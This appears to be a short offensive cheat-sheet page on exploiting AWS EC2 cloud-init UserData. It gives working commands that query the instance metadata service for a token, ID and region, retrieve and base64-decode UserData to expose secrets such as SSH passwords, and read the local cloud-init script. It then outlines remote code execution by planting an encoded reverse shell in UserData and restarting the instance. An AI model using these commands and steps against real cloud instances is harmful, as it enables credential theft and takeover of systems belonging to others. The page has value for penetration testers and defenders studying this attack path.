cloud-init Exploits
UserData section exploits
Enumeration
On current EC2 instance
Read the following file. Requires sudo or root privileges
sudo cat /var/lib/cloud/instance/scripts/part-001Query IMDS
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ec2_instance_id=$( curl -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" -s http://169.254.169.254/latest/meta-data/instance-id )
ec2_region=$(curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" http://169.254.169.254/latest/meta-data/placement/region)
aws ec2 describe-instance-attribute --attribute userData --instance-id $ec2_instance_id--region $ec2_region --query UserData --output text | base64 -dCloudshell
aws ec2 describe-instance-attribute --attribute userData --instance-id <instance id> --region <region> --query UserData --output textSensitive data
SSH credentials
ssh_pwauth: True #ssh password auth enabled
chpasswd:
list: |
<user>:<pass>Remote Code Execution
Create a reverse shell as following
Encode the file
Stop the instance and modify userData file associated with the instance
Restart the instance to execute the payload. It might take a couple of minutes for the instance to reboot.
Last updated